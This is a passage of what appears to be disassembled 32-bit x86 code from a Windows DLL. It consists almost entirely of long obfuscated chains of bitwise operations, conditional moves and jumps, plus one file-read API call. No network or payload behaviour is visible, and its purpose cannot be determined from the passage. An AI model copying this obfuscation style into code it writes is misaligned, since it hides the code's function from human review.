xor eax, 0x460a060
and ecx, 0xfa8f159d
and eax, 0x570ea62
or eax, ecx
mov ecx, eax
xor ecx, 0xfa8f159d
mov esi, ecx
or esi, 0x41440070
mov edx, eax
xor edx, 0x2000
xor eax, 0xf22dfd14
and eax, ecx
and esi, 0x4964c8f8
and edx, 0x822001
or edx, esi
mov esi, eax
not esi
or ecx, esi
and esi, 0x4964c8f8
and eax, 0xb69b3707
or eax, esi
xor eax, edx
not ecx
or ecx, eax
not eax
and eax, 0xf75d1776
and ecx, 0x8a2e889
or ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0x62eeda1f
and ecx, 0x9d1125e0
or ecx, edx
xor ecx, 0x9d1125e0
or ecx, eax
xor ecx, 0xffffffff
setne ah
sete ch
cmp dword [0x1004f90c], 0xa
setge al
setl cl
mov byte [esp], cl
and cl, ch
mov dh, ah
and dh, al
or dh, cl
xor dh, 1
or dh, ch
mov dl, dh
xor dl, 1
mov cl, al
or cl, ah
mov ebx, ecx
not bl
mov bh, dl
and bh, dh
and bl, cl
xor bh, 1
or bh, dh
xor bh, 1
or bh, dl
xor bl, 1
mov dl, bl
xor dl, cl
or bl, cl
xor bl, 1
or bl, dl
mov dl, bh
xor dl, 1
and dl, bl
xor bl, 1
and bl, bh
or cl, dh
xor cl, 1
or cl, bl
or cl, dl
mov edx, ecx
xor dl, 1
mov ebx, edx
and bl, cl
xor bl, 1
mov dh, cl
xor dh, bl
or bl, cl
xor bl, 1
or bl, dh
xor bl, al
or bl, dl
mov cl, bl
xor cl, 1
movzx edx, byte [esp]
and dl, ah
xor ah, al
and ah, al
and ch, al
or ch, dl
xor al, ch
and al, ch
mov edx, eax
xor dl, 1
mov ch, dl
and ch, ah
xor ah, 1
and al, ah
or al, ch
or ah, dl
xor al, 1
mov edx, eax
xor dl, ah
or al, ah
xor al, 1
or al, dl
mov ah, al
xor ah, 1
mov dl, ah
mov dh, ah
and dl, al
xor dl, 1
mov ch, al
xor ch, dl
or dl, al
xor dl, 1
or dl, ch
mov ch, dl
xor ch, 1
mov ah, ch
and cl, bl
xor cl, 1
mov bh, cl
xor bh, bl
or cl, bl
xor cl, 1
or cl, bh
mov ebx, ecx
xor bl, 1
and cl, bl
xor cl, 1
mov bh, cl
xor bh, bl
or cl, bl
xor cl, 1
or cl, bh
xor cl, ch
mov byte [esp], dl
and ch, dl
xor ch, 1
mov bh, ch
xor bh, dl
or ch, dl
xor ch, 1
or ch, bh
xor ah, ch
and ah, dl
mov dl, dh
and dl, ah
xor ah, 1
mov dh, ah
and dh, al
or dh, dl
xor al, ah
and al, ah
or al, dh
mov ah, al
mov dl, al
xor ah, 1
mov al, ah
mov bh, dh
or ah, dh
xor dh, 1
and al, dh
and bh, dl
or bh, al
xor dh, dl
xor ah, 1
or ah, dh
xor bh, 1
mov al, bh
xor al, ah
or bh, ah
xor bh, 1
or bh, al
mov ah, bl
xor ah, bh
xor ah, 1
and ah, bl
mov al, ah
xor al, 1
mov dh, ah
and dh, al
xor dh, 1
or dh, al
xor dh, 1
or dh, ah
or bh, bl
xor dh, bh
or al, bh
xor dh, 1
xor al, 1
or al, dh
xor ch, bl
or bl, byte [esp]
xor bl, 1
or bl, cl
mov cl, bl
xor cl, 1
mov ah, cl
and ah, bl
xor cl, ah
xor ah, 1
or ah, bl
xor ah, 1
or ah, cl
mov dl, ah
xor dl, 1
mov cl, dl
and cl, ah
xor cl, 1
or cl, ah
mov ah, ch
xor ah, 1
xor cl, 1
or cl, dl
and ah, cl
xor cl, 1
and cl, ch
or dl, ch
xor dl, 1
or dl, ah
or dl, cl
mov ah, dl
xor ah, 1
mov ecx, edx
and cl, ah
xor cl, 1
or cl, dl
xor cl, 1
or cl, ah
mov edx, ecx
xor dl, 1
mov ch, cl
and ch, dl
xor ch, 1
mov ah, dl
xor ah, ch
or ch, dl
xor ch, 1
or ch, ah
mov ah, al
xor dl, al
or cl, al
xor al, 1
xor ah, ch
or ch, al
and ah, al
xor ah, 1
mov al, ch
xor al, ah
or ah, ch
xor ah, 1
or ah, al
mov al, dl
xor al, cl
or cl, dl
xor cl, 1
or cl, al
mov edx, ecx
xor dl, 1
mov al, ah
xor al, cl
and al, ah
and cl, ah
xor ah, 1
and ah, dl
or cl, ah
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0xc80c584f
mov esi, 0x5206ffd5
cmovne edx, esi
test cl, 1
mov edi, edx
cmovne edi, esi
jmp 0x1002b5c3
mov edi, 0x8133f756
jmp 0x10011930
mov dword [esp + 0x4c], 0
push 0
lea eax, [esp + 0x50]
push eax
push dword [esp + 0x38]
push dword [esp + 0x38]
push dword [esp + 0x38]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
setne byte [esp + 0x36]
mov ecx, dword [0x1004f908]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x7ef5972d
mov esi, ecx
and esi, 0x810a68d2
or esi, edx
mov edx, esi
xor edx, 0x7ef5972d
and edx, esi
mov esi, ecx
and esi, 0xceac972a
mov edi, eax
and edi, 0x315368d5
or edi, esi
xor edi, 0x4fa6fff8
mov esi, edi
xor esi, ecx
and esi, edi
mov ebx, esi
not ebx
mov edi, edx
xor edi, ebx
and edi, edx
and ebx, 0x6e185a5b
and esi, 0x91e7a5a4
or esi, ebx
xor esi, edx
mov ebx, esi
xor ebx, 0x6e185a5b
mov edx, edi
not edx
xor esi, 0x91e7a5a4
mov ebp, edx
and ebp, 0x3f986396
and edi, 0xc0679c69
or edi, ebp
or edx, esi
and esi, 0x3f986396
and ebx, 0xc0679c69
or ebx, esi
xor ebx, edi
not edx
or edx, ebx
mov esi, edx
not esi
mov edi, esi
and edi, 0x2db98e5
mov ebx, edx
and ebx, 0xfd24671a
or ebx, edi
mov edi, ebx
xor edi, 0xa820010a
xor ebx, 0x821
or esi, 0x14004c31
or ebx, 0x188a004
and ebx, 0x1588ec35
and edi, 0xa870010a
or edi, ebx
and esi, 0x1588ec35
and edx, 0x420712c0
or edx, esi
xor edx, edi
mov esi, edx
xor esi, 0x80808014
xor edx, 0x39520421
and edx, 0x7b575e23
and esi, 0x84a8a1dc
or esi, edx
mov edx, esi
xor edx, 0x84a8a1dc
xor esi, 0x7b575e23
mov ebx, esi
or ebx, 0x40d1510c
and esi, 0xb263569b
mov edi, edx
and edi, 0x4d9ca964
or edi, esi
mov esi, edi
xor esi, 0x100a840
xor edi, 0x415008
or edi, 0x242c0002
and ebx, 0x64fd510e
and edx, 0xa0006a0
or edx, ebx
and edi, 0x64fd510e
and esi, 0x9102a851
or esi, edi
xor esi, edx
mov edx, esi
not edx
mov edi, edx
and edi, 0x31e3a0a1
and esi, 0xce1c5f5e
or esi, edi
xor esi, 0x1fcfa603
xor edx, esi
and edx, esi
mov edi, ecx
and edi, 0xd0a910
mov esi, eax
and esi, 0xd103504d
or esi, edi
mov edi, esi
xor edi, 0x11010045
xor esi, 0xae42210
mov ebx, ecx
or ebx, 0xc0c27018
and esi, 0xcae67218
and edi, 0x11118945
or edi, esi
and ebx, 0xcae67218
mov esi, eax
and esi, 0x240804a2
or esi, ebx
xor esi, edi
and ecx, 0x2a4545c9
and eax, 0xd5baba36
or eax, ecx
mov edi, eax
xor edi, 0xc1aa3820
mov ecx, esi
not ecx
mov ebx, ecx
and ebx, 0x345482d6
and esi, 0xcbab7d29
or esi, ebx
xor eax, 0x204400c0
and eax, 0x345482d6
and edi, 0xcbab7d29
or edi, eax
xor edi, esi
xor ecx, edi
and ecx, edi
mov esi, ecx
mov dword [esp], ecx
mov eax, edx
mov edi, edx
xor edi, 0x5aefd25c
and edi, edx
mov ebx, edx
not ebx
mov ebp, ecx
not ebp
mov edx, ebp
and edx, 0xeca0d31
and esi, 0xf135f2ce
or esi, edx
xor esi, 0xf135f2ce
or esi, ebx
mov edx, esi
not edx
and ebx, 0x40c248
and eax, 0x5aaf1014
or eax, ebx
and ebp, 0x8481010
mov ecx, dword [esp]
and ecx, 0x52a7c24c
or ecx, ebp
mov ebx, eax
xor ebx, 0x5a8b1000
xor eax, 0xa550efeb
xor ecx, 0x52a7c24c
mov ebp, dword [esp]
and ebp, 0xa5102da3
or ebp, ecx
mov ecx, eax
and ecx, 0x21648df4
and ebx, 0x5a8b5208
or ebx, ecx
mov ecx, edi
not ecx
or eax, ecx
and ecx, 0x21648df4
and edi, 0xde9b720b
or edi, ecx
xor edi, ebx
not eax
or eax, edi
xor eax, ebp
mov edi, eax
not edi
mov ecx, edx
xor ecx, edi
and ecx, edx
and esi, 0x1ebdd340
and edx, 0xe1422cbf
or edx, esi
and edi, 0x1ebdd340
and eax, 0xe1422cbf
or eax, edi
xor eax, edx
or eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xc460676
mov edi, eax
and edi, 0xf3b9f989
or edi, edx
mov esi, edi
xor esi, 0x6318a801
xor edi, 0x8440654
and edi, 0x98e557dc
and esi, 0x671aa823
or esi, edi
mov edx, esi
xor edx, 0x671aa823
xor esi, 0x800515c8
and esi, 0x83079dea
mov edi, edx
and edi, 0x7cf86215
or edi, esi
xor edi, 0xa5ba0316
and edx, 0x26bd9efc
or edx, edi
or ecx, 0x40006003
and eax, 0x9c86c0
and ecx, 0x6621783f
or ecx, eax
mov eax, ecx
xor eax, 0x99de87c0
xor ecx, eax
xor ecx, 0x6621783f
and ecx, edx
or edx, eax
not edx
xor ecx, eax
or ecx, edx
mov edx, ecx
not edx
mov eax, ecx
xor eax, 0xf76e67a1
and eax, ecx
or ecx, 0x891985e
mov esi, eax
not esi
mov edi, ecx
and edi, 0x498cc636
and edx, 0xb6622181
or edx, edi
or ecx, esi
and esi, 0x498cc636
and eax, 0xb67339c9
or eax, esi
xor eax, edx
not ecx
or ecx, eax
mov eax, ecx
not eax
mov ebx, ecx
or ebx, 0xfffffffe
mov edx, ecx
xor edx, 1
and edx, ecx
mov esi, edx
not esi
mov edi, ebx
and edi, 0xf7a4ec37
or ebx, esi
and esi, 0xf7a4ec37
and edx, 0x85b13c8
or edx, esi
xor edx, edi
not ebx
or ebx, edx
not ebx
or ebx, eax
mov dword [esp], ebx
mov edx, ecx
and edx, 0x9c1bf759
and ecx, 1
lea edi, [ecx - 0x1b0fd600]
and ecx, eax
mov esi, eax
and esi, 0x63e408a6
or esi, edx
mov eax, esi
xor eax, 0x63e408a6
mov edx, eax
or edx, 1
mov ebp, edx
xor ebp, 0x465ab3f4
and ebp, edx
mov edx, edi
xor edx, 0x1b0fd5ff
xor edi, 0x5d55660b
and edi, edx
mov edx, ebp
not edx
mov ebx, edx
and ebx, 0x8a913f7a
and ebp, 0x756ec084
or ebp, ebx
or eax, 0xb9a54c0b
xor esi, 0x40a8000
or edx, eax
and eax, 0x8a913f7b
and esi, 0x444a8084
or esi, eax
mov ebx, dword [esp]
mov eax, ebx
not eax
xor esi, ebp
not edx
or edx, esi
not edi
not ecx
mov esi, edi
and esi, 0x64291e1
or edi, ecx
and ecx, 0x364399e3
or esi, 0x9800400
xor esi, ecx
not edi
or edi, esi
xor edi, edx
mov ebp, edi
xor ebp, 0x80244008
mov ecx, ebx
and ecx, 0x64cc019b
mov edx, eax
and edx, 0x9b33fe64
or edx, ecx
mov esi, edx
xor esi, 0x82324224
xor edx, 0x408c010b
and edx, 0x598dbd4b
and esi, 0xa67242b4
or esi, edx
xor edi, 0x7fdbbff7
mov ecx, edi
and ecx, 0x68fb31b3
mov dword [esp + 0x14], ebp
mov edx, ebp
and edx, 0x9704ce4c
or edx, ecx
mov ecx, edx
xor ecx, 0x92008200
xor edx, 0x100000
or edx, 0x28e049b3
and edx, 0x2df049bf
and ecx, 0xd209b200
or ecx, edx
mov edx, edi
or edx, 0x510000c
and edx, 0x2df049bf
and ebp, 0x60440
or ebp, edx
xor ebp, ecx
mov edx, esi
mov ecx, esi
xor ecx, 0x598dbd4b
mov dword [esp + 8], ecx
xor edx, 0xa67242b4
mov dword [esp + 4], edx
and edx, 0x8dc6eca7
and ecx, 0x72391358
or ecx, edx
mov esi, dword [esp]
mov edx, esi
and edx, 0xb54c2274
and eax, 0x4ab3dd8b
or eax, edx
xor eax, 0xdc350264
mov edx, esi
xor edx, eax
and edx, eax
mov dword [esp], edx
mov dword [esp + 0xc], ebp
mov ebx, ebp
xor ebx, 0x28e64df3
mov dword [esp + 0x10], ebx
xor ebp, 0xd719b20c
mov eax, ebp
and eax, 0xb14c206b
and ebx, 0x4eb3df94
or ebx, eax
xor ebx, 0x27caff84
mov edx, ebx
xor edx, ebp
and edx, ebx
mov eax, edi
and eax, 0x69792010
mov esi, dword [esp + 0x14]
and esi, 0x9686dfef
or esi, eax
xor edi, esi
and edi, esi
xor ecx, 0xe4bfccb7
or ecx, dword [esp + 4]
mov esi, dword [esp]
mov eax, esi
and esi, ecx
not ecx
not eax
mov ebx, ecx
xor ebx, eax
and ebx, ecx
and eax, ecx
or eax, esi
or eax, ebx
mov ebx, edx
not ebx
mov ecx, edi
not ecx
and edi, ebx
or ebx, ecx
and ecx, edx
or ecx, edi
mov edx, ecx
not edx
mov edi, edx
and edi, 0xa72f6a6a
and ecx, 0x58d09595
or ecx, edi
xor ecx, ebx
or edx, ebx
xor ecx, 0x58d09595
not edx
or edx, ecx
mov edi, eax
not edi
mov ebx, edx
not ebx
mov ecx, ebx
xor ecx, edi
and ecx, edx
and ebx, 0x3ef3ec41
and edx, 0xc10c13be
or edx, ebx
xor edx, edi
xor edx, 0xc10c13be
and edx, eax
mov ebx, ecx
not ebx
mov eax, ebx
and eax, 0x1fbd0456
and ecx, 0xe042fba9
or ecx, eax
mov eax, edx
not eax
or ebx, eax
and eax, 0x1fbd0456
and edx, 0xe042fba9
or edx, eax
xor edx, ecx
mov esi, dword [esp + 0xc]
xor esi, 0x82870c5b
mov edi, dword [esp + 0x10]
and esi, edi
not ebx
or ebx, edx
mov dword [esp], ebx
and ebp, 0x53c2e80f
and edi, 0xac3d17f0
or edi, ebp
mov eax, dword [esp + 4]
and eax, 0xaa6141a8
mov ebx, dword [esp + 8]
and ebx, 0x559ebe57
or ebx, eax
mov ebp, edi
xor ebp, 0x53c2e80f
mov ecx, ebp
or ecx, 0x559ebe57
mov edx, edi
xor edi, 0x80010020
mov eax, ecx
and eax, 0x2da469d7
and edi, 0x82410028
or edi, eax
mov eax, esi
not eax
or ecx, eax
and eax, 0x2da469d7
and esi, 0xd25b9628
or esi, eax
xor esi, edi
not ecx
or ecx, esi
xor edx, 0x3015f0
xor ecx, ebx
mov edi, dword [esp + 8]
mov eax, edi
and eax, 0xfe4fe200
mov ebx, dword [esp + 4]
and ebx, 0x1b01dff
or ebx, eax
or edi, ebp
mov eax, edi
and ebp, 0xfe4fe200
and edx, 0x1b01dff
or edx, ebp
xor edx, ebx
not eax
or eax, edx
not eax
or eax, ecx
mov edx, eax
mov ecx, eax
not edx
mov esi, dword [esp]
mov ebp, esi
not ebp
mov eax, ebp
and eax, 0xa6e72de4
mov edi, esi
xor edi, 0xa6e72de4
and edi, esi
or edi, eax
mov eax, edx
or eax, 0x48081203
and eax, 0x6a2c1a43
mov ebx, ecx
and ebx, 0x84c325a4
or ebx, eax
mov eax, ecx
or eax, 0x22240840
and eax, 0x6a2c1a43
mov esi, edx
and esi, 0x1110c018
or esi, eax
xor esi, ebx
xor esi, edi
mov edi, dword [esp]
mov eax, edi
and eax, 0xcc4c7a0d
and ebp, 0x33b385f2
or ebp, eax
or edi, edx
and edx, 0xcc4c7a0d
and ecx, 0x33b385f2
or ecx, edx
xor ecx, ebp
mov ebp, edi
not ebp
or ebp, ecx
not ebp
or ebp, esi
mov ecx, ebp
not ecx
mov edx, ecx
and edx, 0xd0741f45
mov esi, ecx
and esi, ebp
mov edi, ebp
mov ebx, ebp
and ebx, 0x2f8be0ba
or ebx, edx
mov eax, ebx
xor eax, 0x8800032
xor ebx, 0xd0741f45
mov edx, ebx
and edx, 0xb72be688
and eax, 0x48d41977
or eax, edx
mov edx, esi
not edx
or ebx, edx
and edx, 0xb72be688
and esi, 0x48d41977
or esi, edx
xor esi, eax
not ebx
or ebx, esi
mov eax, ebx
not eax
and ebx, 0xd9d8f3b
mov edx, eax
and edx, 0xf26270c4
or edx, ebx
xor edx, 0x1979e6af
and eax, 0x14e46994
or eax, edx
mov edx, eax
not edx
mov esi, ecx
and esi, 0xeb1b966b
and edi, 0x14e46994
or edi, esi
mov esi, edi
xor esi, ecx
and esi, edi
mov edi, esi
not edi
mov ebx, edx
xor ebx, edi
and ebx, edx
and eax, 0xe85391da
and edx, 0x17ac6e25
or edx, eax
and edi, 0xe85391da
and esi, 0x17ac6e25
or esi, edi
xor esi, edx
or esi, ebx
mov eax, esi
xor eax, 0x14e46994
mov edi, esi
xor edi, 0x40020408
mov edx, esi
xor edx, 0x996449d5
xor esi, 0x5693e68e
and esi, eax
mov ebx, edx
or ebx, 0x8c804084
mov eax, esi
not eax
and ebx, 0x8ed5c386
and edi, 0x40220c18
or edi, ebx
or edx, eax
and eax, 0x8ed5c386
and esi, 0x712a3c79
or esi, eax
xor esi, edi
not edx
or edx, esi
not esi
and esi, 0xbd8870e5
and edx, 0x42778f1a
or edx, esi
mov esi, edx
not esi
mov edi, edx
xor edi, 0x599abad4
and esi, edi
and edi, edx
mov ebx, esi
not ebx
mov eax, ebx
and eax, 0x44ab5306
and esi, 0xbb54acf9
or esi, eax
mov eax, edi
not eax
or ebx, eax
and eax, 0x44ab5306
and edi, 0xbb54acf9
or edi, eax
mov eax, ebp
xor ebp, 0x4535d00d
and ebp, eax
xor edi, esi
not ebx
or ebx, edi
xor ebx, 0xbd4467f5
and edx, 0xe4dedd21
or edx, ebx
mov esi, edx
mov edi, edx
xor edi, 0x13d18f7d
and edi, edx
not edx
or esi, 0xec2e7082
mov ebx, esi
and ebx, 0x1b151687
and edx, 0xc08978
or edx, ebx
mov ebx, edi
not ebx
or esi, ebx
and ebx, 0x1b151687
and edi, 0xe4eae978
or edi, ebx
xor edi, edx
not esi
or esi, edi
mov edx, esi
xor edx, 0xa4041082
xor esi, 0x2408409
and esi, 0x4a6ae409
and edx, 0xb5951bf6
or edx, esi
mov esi, edx
xor esi, 0x20811b12
xor edx, 0x406a6000
and edx, 0xd57e60e4
and esi, 0x2a819f1b
or esi, edx
mov edx, esi
xor edx, 0x2a819f1b
xor esi, 0xd57e60e4
and ecx, 0x5055004
and eax, 0x40308009
or eax, ecx
xor eax, 0x40308009
or ebp, eax
mov eax, ebp
xor eax, 0xbaca2ff2
xor ebp, 0x121000c
mov ecx, eax
and ecx, 0x1b2122de
and ebp, 0x1b2122de
and eax, 0xe4dedd21
or eax, ebp
or eax, ecx
mov edi, eax
not edi
and eax, 0x5a4d7126
and edi, 0xa5b28ed9
or edi, eax
mov ebp, edi
xor ebp, 0xa0320a18
xor edi, 0x2015000
and edi, 0x781d4c1
and ebp, 0xf87e2b3e
or ebp, edi
mov edi, ebp
xor edi, 0x781d4c1
xor ebp, 0xf87e2b3e
mov ebx, edx
mov eax, esi
and eax, edx
mov ecx, eax
mov eax, esi
and eax, 0xccf50c7
and edx, 0xf330af38
or edx, eax
not edx
or edx, esi
and esi, 0x3bd36f74
and ebx, 0xc42c908b
or ebx, esi
xor ebx, 0xc42c908b
or ecx, ebx
mov esi, ecx
mov ecx, ebp
mov eax, edi
and eax, 0x4e90b8d6
and ebp, 0xb16f4729
or ebp, eax
xor ebp, 0xbda017ee
or ebp, edi
and edi, 0x4be1724f
and ecx, 0xb41e8db0
or ecx, edi
mov ebx, ecx
xor ebx, 0xb41e8db0
mov dword [esp + 4], ebx
xor ecx, 0x4be1724f
mov eax, ecx
and eax, 0xe6793c54
and ebx, 0x1986c3ab
or ebx, eax
xor ebx, 0xeab66c93
or ebx, ecx
mov eax, ecx
mov ecx, esi
xor esi, eax
and esi, ecx
mov dword [esp + 8], esi
and eax, ecx
mov dword [esp], eax
mov eax, ecx
not ecx
mov dword [esp + 0xc], ecx
mov esi, ecx
and esi, 0xf330af38
and eax, 0xccf50c7
or eax, esi
mov esi, eax
xor esi, ecx
and esi, eax
xor edx, esi
and esi, edx
mov eax, esi
not eax
mov ecx, eax
and ecx, 0xb3d9f7c4
and esi, 0x4c26083b
or esi, ecx
mov ecx, edx
not ecx
or eax, edx
and edx, 0xb3d9f7c4
and ecx, 0x4c26083b
or ecx, edx
xor ecx, esi
not eax
or eax, ecx
mov edx, ebx
not edx
mov ecx, edx
xor ecx, ebp
and ecx, edx
and ebx, 0x32976f4f
and edx, 0xcd6890b0
or edx, ebx
xor edx, ebp
xor edx, 0xcd6890b0
or edx, ecx
mov ecx, edx
not ecx
mov esi, ecx
and esi, 0x3346a51f
mov ebx, edx
and ebx, 0xccb95ae0
or ebx, esi
mov esi, ebx
xor esi, 0xccb95ae0
xor ebx, 0xd4d20a23
and ebx, esi
mov esi, eax
xor esi, 0xe794af3c
and esi, eax
mov ebp, eax
or eax, 0x186b50c3
not ebp
mov edi, eax
and edi, 0x79736b11
and ebp, 0x8684842c
or ebp, edi
mov edi, esi
not edi
or eax, edi
and edi, 0x79736b11
and esi, 0x868c94ee
or esi, edi
xor esi, ebp
not eax
or eax, esi
mov esi, ebx
not esi
mov edi, esi
and edi, 0x3738766d
and ebx, 0xc8c78992
or ebx, edi
or ecx, 0xe794af3c
or esi, ecx
and ecx, 0x3738766d
and edx, 0x8430082
or edx, ecx
xor edx, ebx
not esi
or esi, edx
mov ebx, esi
xor ebx, esi
not ebx
and ebx, eax
xor ebx, esi
mov ecx, dword [esp + 0xc]
and ecx, dword [esp + 4]
mov eax, dword [esp]
or eax, ecx
or eax, dword [esp + 8]
mov edi, eax
mov ecx, eax
mov dword [esp], eax
not edi
mov ebp, ebx
not ebp
mov eax, ebp
and eax, 0xb40c9715
mov edx, ebx
and edx, 0x4bf368ea
or edx, eax
mov eax, ecx
and eax, 0xc19858fa
mov esi, edi
and esi, 0x3e67a705
or esi, eax
mov ecx, edx
xor ecx, 0x4bf368ea
mov dword [esp + 8], ecx
mov eax, edx
xor eax, 0x7738b759
and eax, ecx
mov ecx, eax
not ecx
mov dword [esp + 4], ecx
and dword [esp + 4], 0xa4b7f231
and eax, 0x5b480dce
add eax, dword [esp + 4]
or ebp, 0xc334204c
or ecx, ebp
and ebp, 0xa4b7f231
and ebx, 0x18480d82
or ebx, ebp
xor ebx, eax
not ecx
or ecx, ebx
mov ebx, esi
xor ebx, 0x3e67a705
xor esi, 0xc19858fa
mov eax, esi
or eax, 0x34481893
and eax, 0x344c38d3
mov ebp, ebx
and ebp, 0xc330000c
or ebp, eax
mov eax, dword [esp]
or eax, 0x42040
and eax, 0x344c38d3
and edi, 0x883c720
or edi, eax
xor edi, ebp
mov eax, edi
xor eax, edi
not eax
and eax, ecx
xor eax, edi
xor edx, 0xb40c9715
mov ecx, edx
and ecx, 0x89ac5298
mov edi, dword [esp + 8]
and edi, 0x7653ad67
or edi, ecx
or edx, esi
and esi, 0x89ac5298
and ebx, 0x7653ad67
or ebx, esi
xor ebx, edi
not edx
or edx, ebx
mov esi, edx
not esi
mov ecx, eax
not ecx
mov edi, ecx
and edi, 0xa58432ae
and eax, 0x5a7bcd51
or eax, edi
or ecx, edx
and edx, 0xa58432ae
and esi, 0x5a7bcd51
or esi, edx
xor esi, eax
not ecx
or ecx, esi
mov eax, ecx
not eax
mov edx, eax
or edx, 0x20000424
mov esi, ecx
or esi, 0x4b47c112
and esi, 0x6b47c536
mov ebx, eax
and ebx, 0x84201a88
or ebx, esi
and edx, 0x6b47c536
mov edi, ecx
and edi, 0x10982041
or edi, edx
xor edi, ebx
mov esi, edi
xor esi, 0x4150a111
xor edi, 0x84201488
and edi, 0x9eaf54ca
and esi, 0x6150ab35
or esi, edi
mov edx, esi
xor edx, 0x400021
xor esi, 0x4081000
and esi, 0x64189900
and edx, 0x80c64421
or edx, esi
mov edi, edx
xor edi, 0x80c64421
xor edx, 0x30081d8
mov esi, eax
and esi, 0x3ca1486e
and ecx, 0xc35eb791
or ecx, esi
xor ecx, 0xd87f954f
xor eax, ecx
and eax, ecx
mov ecx, eax
not ecx
mov esi, edi
xor esi, ecx
and esi, edi
and edx, 0x3c0c5f8
and edi, 0xe41e1801
or edi, edx
and ecx, 0x3c0c5f8
and eax, 0xfc3f3a07
or eax, ecx
xor eax, edi
mov ecx, esi
not ecx
mov edx, eax
not edx
mov edi, ecx
and edi, 0x651a7633
and esi, 0x80c48900
or esi, edi
or ecx, edx
and edx, 0x651a7633
and eax, 0x9ae589cc
or eax, edx
xor eax, esi
not ecx
or ecx, eax
mov edx, ecx
not edx
mov esi, edx
and esi, 0x8e94804
mov eax, ecx
and eax, 0x34001041
or eax, esi
mov edi, eax
xor edi, 0x34000001
xor eax, 0xcbffefbe
mov esi, ecx
xor esi, 0x3ce95845
and esi, ecx
mov ebx, esi
not ebx
mov ebp, eax
and ebp, 0x81f711ea
and edi, 0x3c084805
or edi, ebp
or eax, ebx
and ebx, 0x81f711ea
and esi, 0x7e08ee15
or esi, ebx
xor esi, edi
not eax
or eax, esi
mov esi, eax
xor esi, 0xc316a7ba
xor eax, 0x90804
and esi, 0x7ce0f1e1
and eax, 0x831f0e1e
or eax, esi
mov esi, eax
xor esi, 0x14cccf45
xor eax, 0x831f0e1e
and eax, esi
and edx, 0x9190c11b
and ecx, 0x6430040
or ecx, edx
mov edx, ecx
xor edx, 0x2020000
or edx, 0x48203e24
xor ecx, 0x1190000a
and ecx, 0x15d1004a
and edx, 0xca22ff35
or edx, ecx
mov ecx, edx
xor ecx, 0xca22ff35
xor edx, 0x35dd00ca
mov esi, eax
xor esi, edx
and esi, eax
xor edx, ecx
and edx, eax
xor edx, ecx
or edx, esi
mov ecx, edx
mov eax, edx
xor eax, 0x789ceb99
and eax, edx
or edx, 0x87631466
not ecx
mov esi, eax
not esi
mov edi, edx
and edi, 0x66447bc7
and ecx, 0x18988018
or ecx, edi
or edx, esi
and esi, 0x66447bc7
and eax, 0x99bb8438
or eax, esi
xor eax, ecx
not edx
or edx, eax
mov eax, edx
xor eax, 0xef4f2ac2
xor edx, 0x10b0d53d
mov ecx, edx
and ecx, 0x90002be
mov ebp, eax
and ebp, 0xf6fffd41
or ebp, ecx
mov ecx, ebp
xor ecx, 0x46181940
xor ebp, 0x90002be
mov esi, edx
and esi, eax
mov edi, esi
not edi
mov ebx, ebp
and ebx, 0xb8e7e6bf
and ecx, 0x47181940
or ecx, ebx
or ebp, edi
and edi, 0xb8e7e6bf
and esi, 0x47181940
or esi, edi
xor esi, ecx
not ebp
or ebp, esi
mov dword [esp + 4], ebp
mov ecx, ebp
not ecx
mov dword [esp + 8], ecx
and ecx, 0x734030ad
mov ebx, ebp
and ebx, 0x20c640
or ebx, ecx
mov ecx, ebx
xor ecx, 0x20c640
or ecx, 0x8c9f0912
mov ebp, ecx
not ebp
and edx, 0x888d0912
and eax, 0x4120000
or eax, edx
mov esi, eax
xor esi, 0x4000000
or esi, 0x120a40d
xor eax, 0x88890112
and eax, 0x889b0112
and esi, 0x524ac0d
or esi, eax
and ecx, 0x2cbcf9ff
xor ebx, 0x43009265
and ebx, ebp
and ebp, 0x53400600
or ebp, ecx
mov eax, ebp
xor eax, 0xd3430600
mov dword [esp + 0xc], eax
mov ecx, ebp
xor ecx, 0x9ce95b35
and ecx, eax
mov edi, ecx
not edi
mov eax, edi
and eax, 0x29c83a0c
and ecx, 0xd224c4e3
or ecx, eax
mov eax, ebx
not eax
or edi, eax
and eax, 0x29d93a0c
and ebx, 0x5220c4e1
or ebx, eax
xor ebx, ecx
not edi
or edi, ebx
mov ebx, esi
xor ebx, 0xfadb53f2
mov dword [esp], esi
xor esi, 0xb5710ec7
mov eax, esi
and eax, ebx
mov edx, eax
not edx
mov ecx, edx
and ecx, 0xd905906
and eax, 0xa00fa0d8
or eax, ecx
mov ecx, dword [esp]
xor ecx, 0x524ac0d
mov dword [esp], ecx
and esi, ecx
mov ecx, esi
not ecx
or edx, ecx
and ecx, 0x1dd05b06
and esi, 0x800f0010
or esi, ecx
xor esi, eax
not edx
or edx, esi
mov esi, edx
xor esi, edx
not esi
and esi, edi
xor esi, edx
xor ebp, 0x2cbcf9ff
mov eax, ebp
and eax, 0x12603625
mov ecx, dword [esp + 0xc]
and ecx, 0xe98ec0d8
or ecx, eax
mov eax, dword [esp]
or ebp, eax
and eax, 0x4110902
and ebx, 0xe98ec0d8
or ebx, eax
xor ebx, ecx
not ebp
or ebp, ebx
mov edi, esi
not edi
mov eax, edi
and eax, 0xec4e5377
and esi, 0x13b1ac88
or esi, eax
mov eax, ebp
not eax
or edi, ebp
and ebp, 0xec4e5377
and eax, 0x13b1ac88
or eax, ebp
xor eax, esi
not edi
or edi, eax
mov ecx, edi
not ecx
mov eax, edi
xor eax, 0x7360f6ed
and eax, edi
or edi, 0x8c9f0912
mov edx, edi
and edx, 0x8050cb8a
and ecx, 0x73203465
or ecx, edx
mov edx, eax
not edx
or edi, edx
and edx, 0x8050cb8a
and eax, 0x7faf3475
or eax, edx
xor eax, ecx
not edi
or edi, eax
mov ebx, dword [esp + 8]
mov eax, ebx
and eax, 0xfdffd068
mov edx, dword [esp + 4]
mov ecx, edx
and ecx, 0x2002f97
or ecx, eax
and edx, 0xfdffd068
and ebx, 0x2002f97
or ebx, edx
xor ebx, ecx
mov eax, ebx
not eax
mov ecx, eax
and ecx, 0xaeaa1099
and eax, ebx
and ebx, 0x5155ef66
or ebx, ecx
xor ebx, 0x5155ef66
or ebx, eax
mov edx, edi
not edx
mov ecx, edx
and ecx, 0xb495535a
mov eax, edi
xor eax, 0xb495535a
and eax, edi
or eax, ecx
mov ecx, ebx
xor ecx, 0x9404404a
mov esi, ebx
xor esi, 0x48080025
